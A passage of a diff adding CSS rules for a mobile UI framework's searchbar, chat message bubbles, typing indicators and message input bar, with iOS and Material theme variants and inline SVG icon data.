0; + bottom: 0; + opacity: 1; + width: 100%; + height: 0%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.ios .searchbar-expandable .searchbar-disable-button { + margin-right: 8px; + opacity: 1; + display: block; +} +.ios .searchbar-expandable .searchbar-inner { + height: 44px; +} +.ios .searchbar-expandable.searchbar-enabled { + opacity: 1; + height: 100%; + pointer-events: auto; +} +.ios .page > .searchbar { + z-index: 200; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar, +.ios .page > .navbar ~ .searchbar { + top: 44px; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ .page-content, +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ * .page-content, +.ios .page > .navbar ~ .searchbar ~ .page-content, +.ios .page > .navbar ~ .searchbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .searchbar, +.searchbar.ios .theme-dark { + background-color: #303030; +} +.ios .theme-dark .searchbar:after, +.searchbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .searchbar input[type="search"], +.searchbar.ios .theme-dark input[type="search"], +.ios .theme-dark .searchbar input[type="text"], +.searchbar.ios .theme-dark input[type="text"] { + background-color: #171717; + color: #fff; +} +.ios .color-theme-red .searchbar-disable-button { + color: #ff3b30; +} +.ios .color-theme-green .searchbar-disable-button { + color: #4cd964; +} +.ios .color-theme-blue .searchbar-disable-button { + color: #007aff; +} +.ios .color-theme-pink .searchbar-disable-button { + color: #ff2d55; +} +.ios .color-theme-yellow .searchbar-disable-button { + color: #ffcc00; +} +.ios .color-theme-orange .searchbar-disable-button { + color: #ff9500; +} +.ios .color-theme-gray .searchbar-disable-button { + color: #8e8e93; +} +.ios .color-theme-white .searchbar-disable-button { + color: #ffffff; +} +.ios .color-theme-black .searchbar-disable-button { + color: #000000; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-left .searchbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-right .searchbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .searchbar { + height: 48px; + background: #fff; +} +.md .searchbar input[type="search"], +.md .searchbar input[type="text"] { + padding-right: 65px; + padding-left: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + font-family: inherit; + font-size: 20px; + color: #000; + font-weight: normal; +} +.md .searchbar input[type="search"]::-webkit-input-placeholder, +.md .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]:-ms-input-placeholder, +.md .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::-ms-input-placeholder, +.md .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::placeholder, +.md .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar-expandable { + height: 100%; +} +.md .searchbar-backdrop { + background: rgba(0, 0, 0, 0.25); +} +.md .searchbar-icon, +.md .searchbar-disable-button { + position: absolute; + width: 48px; + height: 48px; + right: -4px; + top: 50%; + margin-top: -24px; + background-size: 24px 24px; + background-repeat: no-repeat; + background-position: center; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .searchbar-icon { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button { + -webkit-transform: rotate(-90deg) scale(0.5); + transform: rotate(-90deg) scale(0.5); + font-size: 0 !important; + display: block; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar-disable-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar-enabled .searchbar-disable-button { + -webkit-transform: rotate(0deg) scale(1); + transform: rotate(0deg) scale(1); + pointer-events: auto; + opacity: 1; +} +.md .searchbar-enabled .searchbar-icon { + opacity: 0; + -webkit-transform: rotate(90deg) scale(0.5); + transform: rotate(90deg) scale(0.5); +} +.md .searchbar .input-clear-button { + width: 48px; + height: 48px; + margin-top: -24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + border-radius: 0; + background-repeat: no-repeat; + background-position: center; + background-size: 24px 24px; + background-color: transparent; + left: 0; +} +.md .searchbar .input-clear-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar .input-clear-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar .input-clear-button:after { + display: none; +} +.md .searchbar .input-clear-button:before { + margin-left: 0; + margin-top: 0; +} +.md .page-content .searchbar { + border-radius: 2px; + margin: 8px; + width: auto; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .page-content .searchbar .searchbar-inner { + border-radius: 2px; +} +.md .page > .searchbar { + z-index: 510; +} +.md .page > .searchbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .page > .searchbar.no-shadow:after { + display: none; +} +.md .page > .searchbar input[type="search"], +.md .subnavbar .searchbar input[type="search"], +.md .searchbar-expandable input[type="search"], +.md .page > .searchbar input[type="text"], +.md .subnavbar .searchbar input[type="text"], +.md .searchbar-expandable input[type="text"] { + padding-right: 73px; +} +.md .page > .searchbar .searchbar-icon, +.md .subnavbar .searchbar .searchbar-icon, +.md .searchbar-expandable .searchbar-icon, +.md .page > .searchbar .searchbar-disable-button, +.md .subnavbar .searchbar .searchbar-disable-button, +.md .searchbar-expandable .searchbar-disable-button { + right: 4px; +} +.md .searchbar-expandable { + width: 56px; + height: 100%; + opacity: 0; + top: 50%; + margin-top: -28px; + -webkit-transform: translate3d(0px, 0px, 0px); + transform: translate3d(0px, 0px, 0px); + right: 100%; + margin-right: -56px; +} +.md .navbar .searchbar-expandable { + border-radius: 28px; + width: 56px; + margin-top: -28px; + margin-right: -56px; +} +@media (min-width: 768px) { + .md .navbar .searchbar-expandable { + border-radius: 32px; + width: 64px; + margin-top: -32px; + margin-right: -64px; + } +} +.md .toolbar .searchbar-expandable, +.md .subnavbar .searchbar-expandable { + border-radius: 24px; + width: 48px; + margin-top: -24px; + margin-right: -56px; +} +.md .tabbar-labels .searchbar-expandable { + border-radius: 36px; + width: 72px; + margin-top: -36px; + margin-right: -72px; +} +.md .searchbar-expandable.searchbar-enabled { + width: 100%; + border-radius: 0; + opacity: 1; + pointer-events: auto; + top: 0; + margin-top: 0; + right: 0; + margin-right: 0; +} +.md .page > .searchbar ~ * .page-content, +.md .page > .searchbar ~ .page-content { + padding-top: 48px; +} +.md .page > .navbar ~ .searchbar { + top: 56px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar { + top: 64px; + } +} +.md .page > .navbar ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 112px; + } +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 48px; +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 96px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 72px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 120px; +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 112px; + } +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 152px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 160px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 128px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 136px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 176px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 184px; + } +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-left .searchbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-right .searchbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } + .md.device-iphone-x .ios-right-edge .searchbar-disable-button, + .md.device-iphone-x .ios-edges .searchbar-disable-button, + .md.device-iphone-x .popup .searchbar-disable-button, + .md.device-iphone-x .sheet-modal .searchbar-disable-button, + .md.device-iphone-x .panel-right .searchbar-disable-button { + right: calc(4px + constant(safe-area-inset-right)); + right: calc(4px + env(safe-area-inset-right)); + } +} +/* === Messages === */ +.messages { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100%; + position: relative; + z-index: 1; +} +.messages-title { + text-align: center; + width: 100%; + line-height: 1; +} +.message { + max-width: 70%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; + position: relative; + z-index: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.message-avatar { + border-radius: 50%; + position: relative; + background-size: cover; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.message-content { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.message-header, +.message-footer, +.message-name { + line-height: 1; + font-size: 12px; +} +.message-footer { + font-size: 11px; + margin-bottom: -1em; +} +.message-bubble { + -webkit-box-sizing: border-box; + box-sizing: border-box; + word-break: break-word; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + position: relative; + line-height: 1.2; +} +.message-image img { + display: block; + max-width: 100%; + height: auto; + width: auto; +} +.message-text-header, +.message-text-footer { + font-size: 12px; + line-height: 1; +} +.message-text { + text-align: left; +} +.message-sent { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.message-received { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.message-received .message-content { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.message-sent .message-content { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.message:not(.message-last) .message-avatar { + opacity: 0; +} +.message:not(.message-first) .message-name { + display: none; +} +.message.message-same-name .message-name { + display: none; +} +.message.message-same-header .message-header { + display: none; +} +.message.message-same-footer .message-footer { + display: none; +} +.message-appear-from-bottom { + -webkit-animation: message-appear-from-bottom 300ms; + animation: message-appear-from-bottom 300ms; +} +.message-appear-from-top { + -webkit-animation: message-appear-from-top 300ms; + animation: message-appear-from-top 300ms; +} +.message-typing-indicator { + display: inline-block; + font-size: 0; + vertical-align: middle; +} +.message-typing-indicator > div { + display: inline-block; + position: relative; + background: #000; + vertical-align: middle; + border-radius: 50%; +} +@-webkit-keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@-webkit-keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.ios .messages-content, +.ios .messages { + background: #fff; +} +.ios .messages-title { + font-size: 11px; + color: #8e8e93; + margin-top: 10px; +} +.ios .messages-title:last-child { + margin-bottom: 10px; +} +.ios .messages-title b { + font-weight: 600; +} +.ios .message { + margin-top: 10px; +} +.ios .message:last-child { + margin-bottom: 10px; +} +.ios .message-avatar { + width: 29px; + height: 29px; +} +.ios .message-header, +.ios .message-footer, +.ios .message-name { + color: #8e8e93; +} +.ios .message-header b, +.ios .message-footer b, +.ios .message-name b { + font-weight: 600; +} +.ios .message-header, +.ios .message-name { + margin-bottom: 3px; +} +.ios .message-footer { + margin-top: 3px; +} +.ios .message-bubble { + font-size: 17px; + line-height: 1.2; + border-radius: 16px; + padding: 6px 16px 9px; + min-width: 48px; + min-height: 35px; +} +.ios .message-image { + margin: 6px -16px; +} +.ios .message-image:first-child { + margin-top: -6px; +} +.ios .message-image:first-child img { + border-top-left-radius: 16px; + border-top-right-radius: 16px; +} +.ios .message-image:last-child { + margin-bottom: -9px; +} +.ios .message-image:last-child img { + border-bottom-left-radius: 16px; + border-bottom-right-radius: 16px; +} +.ios .message-text-header { + margin-bottom: 3px; +} +.ios .message-text-footer { + margin-top: 3px; +} +.ios .message-received { + margin-left: 10px; +} +.ios .message-received .message-header, +.ios .message-received .message-footer, +.ios .message-received .message-name { + margin-left: 16px; +} +.ios .message-received .message-text-header, +.ios .message-received .message-text-footer { + opacity: 0.5; +} +.ios .message-received .message-bubble { + color: #000; + background: #e5e5ea; + padding-left: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received .message-image { + margin-left: -22px; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble { + border-radius: 16px 16px 16px 0; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img { + border-bottom-left-radius: 0px; +} +.ios .message-sent { + margin-right: 10px; +} +.ios .message-sent .message-header, +.ios .message-sent .message-footer, +.ios .message-sent .message-name { + margin-right: 16px; +} +.ios .message-sent .message-text-header, +.ios .message-sent .message-text-footer { + opacity: 0.8; +} +.ios .message-sent .message-bubble { + background: #00d449; + color: #fff; + padding-right: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent .message-image { + margin-right: -22px; +} +.ios .message-sent.message-tail .message-bubble { + border-radius: 16px 16px 0 16px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent.message-tail .message-bubble .message-image:last-child img { + border-bottom-right-radius: 0px; +} +.ios .message + .message:not(.message-first) { + margin-top: 1px; +} +.ios .message-received.message-typing .message-content:after, +.ios .message-received.message-typing .message-content:before { + content: ''; + position: absolute; + background: #e5e5ea; + border-radius: 50%; +} +.ios .message-received.message-typing .message-content:after { + width: 11px; + height: 11px; + left: 4px; + bottom: 0px; +} +.ios .message-received.message-typing .message-content:before { + width: 6px; + height: 6px; + left: -1px; + bottom: -4px; +} +.ios .message-typing-indicator > div { + width: 9px; + height: 9px; + opacity: 0.35; +} +.ios .message-typing-indicator > div + div { + margin-right: 4px; +} +.ios .message-typing-indicator > div:nth-child(1) { + -webkit-animation: ios-message-typing-indicator 900ms infinite; + animation: ios-message-typing-indicator 900ms infinite; +} +.ios .message-typing-indicator > div:nth-child(2) { + -webkit-animation: ios-message-typing-indicator 900ms 150ms infinite; + animation: ios-message-typing-indicator 900ms 150ms infinite; +} +.ios .message-typing-indicator > div:nth-child(3) { + -webkit-animation: ios-message-typing-indicator 900ms 300ms infinite; + animation: ios-message-typing-indicator 900ms 300ms infinite; +} +.ios .theme-dark .messages-content, +.messages-content.ios .theme-dark, +.ios .theme-dark .messages, +.messages.ios .theme-dark { + background-color: transparent; +} +.ios .theme-dark .message-received.message-typing .message-content:after, +.ios .theme-dark .message-received.message-typing .message-content:before { + background: #333; +} +.ios .theme-dark .message-typing-indicator > div { + background-color: #fff; +} +.ios .theme-dark .message-received .message-bubble { + background-color: #333; + color: #fff; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .message-received, + .ios.device-iphone-x .ios-edges .message-received, + .ios.device-iphone-x .popup .message-received, + .ios.device-iphone-x .sheet-modal .message-received, + .ios.device-iphone-x .panel-left .message-received { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .message-sent, + .ios.device-iphone-x .ios-edges .message-sent, + .ios.device-iphone-x .popup .message-sent, + .ios.device-iphone-x .sheet-modal .message-sent, + .ios.device-iphone-x .panel-right .message-sent { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +@keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +.md .messages-content, +.md .messages { + background: #eee; +} +.md .message { + margin-top: 16px; +} +.md .message:last-child { + margin-bottom: 16px; +} +.md .messages-title { + font-size: 12px; + color: rgba(0, 0, 0, 0.51); + margin-top: 16px; +} +.md .messages-title:last-child { + margin-bottom: 16px; +} +.md .messages-title b { + font-weight: 500; +} +.md .message-avatar { + width: 32px; + height: 32px; +} +.md .message-header, +.md .message-footer, +.md .message-name { + color: rgba(0, 0, 0, 0.51); +} +.md .message-header b, +.md .message-footer b, +.md .message-name b { + font-weight: 500; +} +.md .message-header, +.md .message-name { + margin-bottom: 2px; +} +.md .message-footer { + margin-top: 2px; +} +.md .message-bubble { + font-size: 16px; + border-radius: 2px; + padding: 6px 8px; + min-height: 32px; +} +.md .message-text-header, +.md .message-text-footer { + color: rgba(0, 0, 0, 0.51); +} +.md .message-text-header { + margin-bottom: 4px; +} +.md .message-text-footer { + margin-top: 4px; +} +.md .message-received { + margin-left: 8px; +} +.md .message-received .message-bubble { + color: #333; + background: #fff; +} +.md .message-received .message-avatar + .message-content { + margin-left: 8px; +} +.md .message-received.message-tail .message-bubble { + border-radius: 2px 2px 2px 0; +} +.md .message-received.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-left: 8px solid transparent; + border-right: 0 solid transparent; + border-bottom: 8px solid #fff; + right: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message-sent { + margin-right: 8px; +} +.md .message-sent .message-bubble { + color: #333; + background: #c8e6c9; +} +.md .message-sent .message-avatar + .message-content { + margin-right: 8px; +} +.md .message-sent.message-tail .message-bubble { + border-radius: 2px 2px 0 2px; +} +.md .message-sent.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-right: 8px solid transparent; + border-left: 0 solid transparent; + border-bottom: 8px solid #c8e6c9; + left: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message + .message:not(.message-first) { + margin-top: 8px; +} +.md .message-typing-indicator > div { + width: 6px; + height: 6px; + opacity: 0.6; +} +.md .message-typing-indicator > div + div { + margin-right: 6px; +} +.md .message-typing-indicator > div:nth-child(1) { + -webkit-animation: md-message-typing-indicator 900ms infinite; + animation: md-message-typing-indicator 900ms infinite; +} +.md .message-typing-indicator > div:nth-child(2) { + -webkit-animation: md-message-typing-indicator 900ms 150ms infinite; + animation: md-message-typing-indicator 900ms 150ms infinite; +} +.md .message-typing-indicator > div:nth-child(3) { + -webkit-animation: md-message-typing-indicator 900ms 300ms infinite; + animation: md-message-typing-indicator 900ms 300ms infinite; +} +.md .theme-dark .messages-content, +.messages-content.md .theme-dark, +.md .theme-dark .messages, +.messages.md .theme-dark { + background-color: transparent; +} +.md .theme-dark .messages-title { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .message-header, +.md .theme-dark .message-footer, +.md .theme-dark .message-name { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .message-received, + .md.device-iphone-x .ios-edges .message-received, + .md.device-iphone-x .popup .message-received, + .md.device-iphone-x .sheet-modal .message-received, + .md.device-iphone-x .panel-left .message-received { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .message-sent, + .md.device-iphone-x .ios-edges .message-sent, + .md.device-iphone-x .popup .message-sent, + .md.device-iphone-x .sheet-modal .message-sent, + .md.device-iphone-x .panel-right .message-sent { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +@keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +/* === Messagebar === */ +.toolbar.messagebar { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + background: #fff; + height: auto; +} +.toolbar.messagebar .toolbar-inner { + position: relative; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.toolbar.messagebar .messagebar-area { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + overflow: hidden; + position: relative; +} +.toolbar.messagebar textarea { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.toolbar.messagebar a.link { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.messagebar-attachments { + width: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + font-size: 0; + white-space: nowrap; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments { + display: none; +} +.messagebar-attachment { + background-size: cover; + background-position: center; + background-repeat: no-repeat; + display: inline-block; + vertical-align: middle; + white-space: normal; + height: 155px; + position: relative; +} +@media (orientation: landscape) { + .messagebar-attachment { + height: 120px; + } +} +.messagebar-attachment img { + display: block; + width: auto; + height: 100%; +} +.messagebar-attachment + .messagebar-attachment { + margin-right: 8px; +} +.messagebar-sheet { + overflow: auto; + -webkit-overflow-scrolling: touch; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-align-content: flex-start; + -ms-flex-line-pack: start; + align-content: flex-start; + height: 252px; +} +@media (orientation: landscape) { + .messagebar-sheet { + height: 192px; + } +} +.messagebar-sheet-image, +.messagebar-sheet-item { + -webkit-box-sizing: border-box; + box-sizing: border-box; + 